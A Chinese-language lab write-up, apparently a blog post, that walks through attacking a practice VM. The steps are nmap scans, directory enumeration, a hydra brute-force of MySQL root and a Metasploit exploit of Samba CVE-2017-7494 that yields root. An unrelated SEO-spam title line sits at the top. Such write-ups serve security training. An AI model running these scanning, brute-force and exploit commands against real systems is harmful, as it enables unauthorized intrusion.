如何建設企業(yè)人力資源網站蘇州seo培訓
**寫在前面:**記錄博主的一次打靶經歷。
目錄
- 1. 主機發(fā)現
- 2. 端口發(fā)現
- 3. 服務枚舉
- 4. 服務探查
- 4.1 FTP探查
- 4.1.1 匿名登錄
- 4.1.2 Elly用戶
- 4.1.3 John用戶
- 4.1.4 EXP搜索
- 4.2 dnsmasq探查
- 4.2.1 基礎信息獲取
- 4.2.2 EXP搜索
- 4.3 WEB應用探查
- 4.3.1 瀏覽器訪問
- 4.3.2 目錄掃描
- 4.3.2.1 dirsearch掃描
- 4.3.2.2 dirb 掃描
- 4.3.3 EXP搜索
- 4.4 MySQL探查
- 4.4.1 命令行訪問
- 4.4.2 爆破mysql
- 4.5 Apache探查
- 4.5.1 瀏覽器訪問
- 4.5.2 目錄枚舉
- 4.5.2.1 dirsearch掃描
- 4.5.2.2 dirb 掃描
- 4.5.3 EXP搜索
- 4.6 Samba探查
- 4.6.1 EXP搜索
- 4.6.2 EXP利用
- 5. 獲取flag
1. 主機發(fā)現
目前只知道目標靶機在56.xx網段,通過如下的命令,看看這個網段上在線的主機。
$ nmap -sP 192.168.56.0/24
鎖定靶機IP地址為56.109。
2. 端口發(fā)現
通過下面的命令,對靶機進行一下全端口掃描。
$ sudo nmap -p- 192.168.56.109
額,這個靶機上開放的端口比較多,可以說是琳瑯滿目了,FTP、WEB、數據庫,等等。
3. 服務枚舉
通過下面的命令,對端口上的服務進行枚舉。
$ sudo nmap -p20,21,22,53,80,123,137,138,139,666,3306,12380 -A -sV -sT 192.168.56.109
內容還是挺多的,將來我們可能要搜索的公共EXP也會比較多,先逐個探查一下服務。
4. 服務探查
4.1 FTP探查
4.1.1 匿名登錄
直接命令行登錄。
anonymous登錄直接進去了,接下來看看里面有些啥。
貌似只有一個note文件,下載下來看看里面都有些啥。
這個note挺有意思的,貌似是John給Elly的留言,并且Elly的FTP賬戶下面很有可能有“payload information”。先記下這些,接著到其它目錄看看。
好奇怪,提示切換目錄成功了,但是列出來的文件還是note,并且修改日期、大小、權限等等都跟之前是一樣的。不管了,作為note2下載下來看看內容再說。
確認是同一個文件,這說明目錄沒有切換成功。從目前的來看,基本上anonymous用戶可以看到的內容就是唯一的一個note文件。既然note中提到了Elly和John兩個用戶,嘗試分別用這兩個用戶登錄FTP和SSH試試看。
4.1.2 Elly用戶
首先用elly用戶登錄FTP,并且簡單試用一下弱密碼elly、123、elly123。
均以失敗告終,也可能是elly用戶確實不存在。再用這個用戶嘗試SSH登錄試試看。
同樣均以失敗告終,后面如果需要的話,回過頭來嘗試爆破一下。
4.1.3 John用戶
在用john用戶登錄FTP和SSH的時候同樣是失敗的。
不過這里想更進步一點點,FTP登錄的時候會提示Harry,SSH登錄的時候會提示Barry,這也有可能是兩個用戶名,分別用相同的方式試一下,也失敗了。后面有空的時候爆破一下。
4.1.4 EXP搜索
$ searchsploit vsftpd
從搜索結果來看,還是有EXP可以利用的,先看一下代碼再說。
從代碼來看,需要用戶名和密碼,這一點顯然目前是不具備的,但是我們可以使用anonymous用戶和空密碼試一下。
接下來,修改一下host為目標靶機IP地址,用戶名修改為anonymous,密碼置空。
然后通過python3運行一下。
盡管已經提供了相關的參數,但是無論怎么調測都報這個錯誤,有些奇怪,實在不行的時候再回來啃這個硬骨頭。
4.2 dnsmasq探查
4.2.1 基礎信息獲取
見識有些少,先看看dnsmasq是個啥再說,度娘給的結果還算明確。
4.2.2 EXP搜索
雖然知道了dnsmasq是個啥,但是還不知道怎么使用,這個上手可能也會浪費一些時間,接下來簡單做一下公共EXP搜索。
雖然不知道怎么用,但是看上去貌似可以利用的漏洞不少。
4.3 WEB應用探查
4.3.1 瀏覽器訪問
嗯,80端口是開著的,但是貌似頁面找不到。
4.3.2 目錄掃描
既然端口開著,那就進行一下目錄掃描吧,看看能夠掃描出些什么內容。
4.3.2.1 dirsearch掃描
通過下面的命令,采用dirsearch掃描一下。
$ dirsearch -u http://192.168.56.109
4.3.2.2 dirb 掃描
鑒于上次的經驗教訓,這里通過dirb掛上字典掃描一下。
$ dirb http://192.168.56.109 /usr/share/wordlists/dirb/big.txt
$ dirb http://192.168.56.109 /usr/share/wordlists/dirb/big.txt -X .php
貌似確實沒有掃出更多的內容。先查看一下這幾個掃出來的內容吧。先看看.bash_logout。
沒啥干貨,再看看.bashrc和.profile,都沒啥干貨。
4.3.3 EXP搜索
搜索一下對應版本的WEB應用服務器版本。
無論怎么優(yōu)化關鍵字,搜索結果都不太合適。反正我也不知道這個PHP的cli server是啥,先google一下吧。
大概意思是,CLI是PHP的一個內置web server,這樣在開發(fā)代碼的時候,就不需要部署龐大的Apache或者Nginx等web服務器了。并且進一步查出了從PHP的5.4.0版本之后,都內置了CLI Server。
感覺這個CLI Server也只能本機訪問,無法在網絡上使用,暫時放棄吧。
4.4 MySQL探查
4.4.1 命令行訪問
既然3306端口是開放的,那就從命令行訪問一下,或者爆破一下試試看。
看來還是有些問題,直接用hydra爆破一下試試看。
4.4.2 爆破mysql
通過下面的命令,掛在rockyou字典爆破一下mysql的root用戶。
$ hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.109 mysql
需要等待的時間比較長,等待大半個小時沒有結果就停止它吧(最后確實放棄了,沒有爆破出來)。
4.5 Apache探查
在服務枚舉階段,我們還枚舉出了12380端口上運行的Apache httpd。我們在這里探查一下。
4.5.1 瀏覽器訪問
先直接通過瀏覽器訪問一下這個端口(分別用http和https)看看。
是http,就是一個人畜無害的普通靜態(tài)頁面啊,除了右下角的兩個超鏈接,也沒有其它關鍵信息。點擊一下兩個超鏈接試試看。
第一個Creative Tim連接到一個外部站點,如下。
先放到一邊,說不定后面構建攻擊字典的時候可以用上。再來看看那個Download的鏈接。
也是連接到了外部站點,對于外部站點,暫時不做分析,后面用到了再說。
4.5.2 目錄枚舉
既然到了這里,那就對12380端口也進行一下目錄枚舉吧。
4.5.2.1 dirsearch掃描
通過下面的命令,采用dirsearch掃描一下。
$ dirsearch -u http://192.168.56.109:12380
有些意外啊,竟然是空的,沒法解釋啊,看看上面提到的txt文件和log看看。
確實沒有這個txt文件,接下來看看log有沒有。
也是空的,太令人失望了,白等了半天。
4.5.2.2 dirb 掃描
通過dirb掛上字典掃描一下。
$ dirb http://192.168.56.109:12380 /usr/share/wordlists/dirb/big.txt
還是一無所獲,暫時放棄這條線。
4.5.3 EXP搜索
搜索一下有沒有適用于Apache 2.4.18的公共EXP。
貌似有一個提權漏洞和一個內存泄露的漏洞適用于靶機版本,這個漏洞利用會比較復雜,暫時放一邊。
4.6 Samba探查
最后,探查一下Samba服務,之所以放在最后是因為這一塊根本不了解,靶機上的版本是4.3.9版本。先連接一下試試看。
嘗試發(fā)送消息試試看。
還是失敗。
4.6.1 EXP搜索
現在本人對于139端口的理解,就是一張白紙,直接搜索一下看看有沒有可用的公共EXP吧。
搜索下來,貌似就只有42084這一個EXP符合我們靶機的版本要求,貌似是一個任意模塊加載的漏洞,先快速瀏覽一下代碼再說。
ruby代碼,除了注釋,其它基本都看不懂,并且還需要Metasploit,針對的漏洞編號是CVE-2017-7494。
4.6.2 EXP利用
既然看不懂ruby的EXP代碼,直接百度一下這個CVE-2017-7494的漏洞吧。
從網上搜索了一下,基本原理是這樣的:Samba允許連接一個遠程的命名管道,并且在連接建立之前會調用is_known_pipename()函數驗證管道名稱是否合法;但是在is_known_pipename()函數中,并沒有對管道名稱的規(guī)范性進行檢查,這將會導致管道名稱中可以包含特殊字符,攻擊者可以構造使用包含特殊字符管道名稱的惡意動態(tài)鏈接庫文件并使用is_known_pipename()函數加載,用于執(zhí)行任意代碼。并且這個漏洞貌似可以直接在Metasploit里面利用,那就試試看吧。
說明:這里重點參照了網絡大神的帖子(https://blog.csdn.net/dgjkkhcf/article/details/125902865)。
首先啟動Metasploit控制臺。
$ msfconsole
接下來,通過use命令使用is_known_pipename攻擊模塊。
msf6 > use exploit/linux/samba/is_known_pipename
通過set命令設置一下主機地址和端口參數,并通過show命令查看是否設置成功。
msf6 exploit(linux/samba/is_known_pipename) > set RHOSTS 192.168.56.109
msf6 exploit(linux/samba/is_known_pipename) > set RPORT 139
msf6 exploit(linux/samba/is_known_pipename) > show options
配置完成后,直接通過run命令運行一下漏洞利用模塊。
msf6 exploit(linux/samba/is_known_pipename) > run
這是第一次用Metasploit,從上圖中最后兩行的輸出來看,貌似是直接發(fā)現了shell并自動創(chuàng)建了反彈shell,直接試試看吧。
我靠,這也太神奇了,怪不得OSCP不讓用Metasploit啊,還沒弄明白具體的漏洞是咋回事就攻進去了,并且是突破邊界+提權一條龍服務,直接獲得了root權限。